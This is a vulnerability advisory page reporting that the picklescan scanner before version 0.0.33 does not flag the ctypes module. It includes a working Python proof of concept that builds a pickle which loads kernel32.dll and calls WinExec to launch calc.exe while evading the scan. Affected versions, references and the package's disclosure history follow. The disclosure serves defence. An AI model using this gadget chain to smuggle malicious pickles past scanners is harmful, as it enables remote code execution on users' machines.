Picklescan does not block ctypes
Summary
Picklescan doesnt flag ctypes module as a dangerous module, which is a huge issue. ctypes is basically a foreign function interface library and can be used to
- Load DLLs
- Call C functions directly
- Manipulate memory raw pointers.
This can allow attackers to achieve RCE by invoking direct syscalls without going through blocked modules. Another major issue that ctypes being allowed presents is that it can be used down the line to dismantle interpreter based python sandboxes as ctypes allow direct access to raw memory.
This is a more severe loophole than normal gadget chains and bypasses as raw memory access can be used for a lot of nefarious purposes down the line if left undetected
PoC
import pickle
import ctypes
import operator
class Kernel32Loader:
def __reduce__(self):
#we go direct to the kerneeellllllll
return (ctypes.WinDLL, ("kernel32.dll",))
class WinExecGetter:
def __reduce__(self):
return (operator.itemgetter("WinExec"), (Kernel32Loader(),))
class PopCalc:
def __reduce__(self):
#methodcaller to invoke "__call__" on the function pointer.
return (
operator.methodcaller("__call__", b"calc.exe", 1),
(WinExecGetter(),)
)
try:
payload = pickle.dumps(PopCalc())
with open("calc_exploit.pkl", "wb") as f:
f.write(payload)
print("Generated 'calc_exploit.pkl'")
except Exception as e:
print(f"Generation failed: {e}")
This will create a pickle file which is not detected by the latest version of picklescan as malicious
import pickle
print("Loading bypass.pkl...")
pickle.load(open("calc_exploit.pkl", "rb"))
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | picklescan | < 0.0.33 | 0.0.33 |
References
- https://github.com/mmaitre314/picklescan/security/advisories/GHSA-4675-36f9-wf6r
- https://nvd.nist.gov/vuln/detail/CVE-2025-71323
- https://github.com/mmaitre314/picklescan/pull/53
- https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab
- https://github.com/mmaitre314/picklescan
- https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33
- https://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-unblocked-ctypes-module
- https://pypi.org/project/picklescan
- https://github.com/advisories/GHSA-4675-36f9-wf6r
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H- Weakness (CWE)
CWE-184, CWE-913- Platform
- Python (PyPI)
- Package
picklescan- Disclosed
- 29.12.2025
- Updated
- 11.10.2026 13:19
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-1782 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-4675-36f9-wf6r - CC BY 4.0
Vulnerability history: picklescan
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 58
- First → latest
- 02.2025 03.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 7
- High 25
- Medium 26
Disclosures per year
- 2025: 51
- 2026: 7
-
Picklescan does not block ctypes this entry
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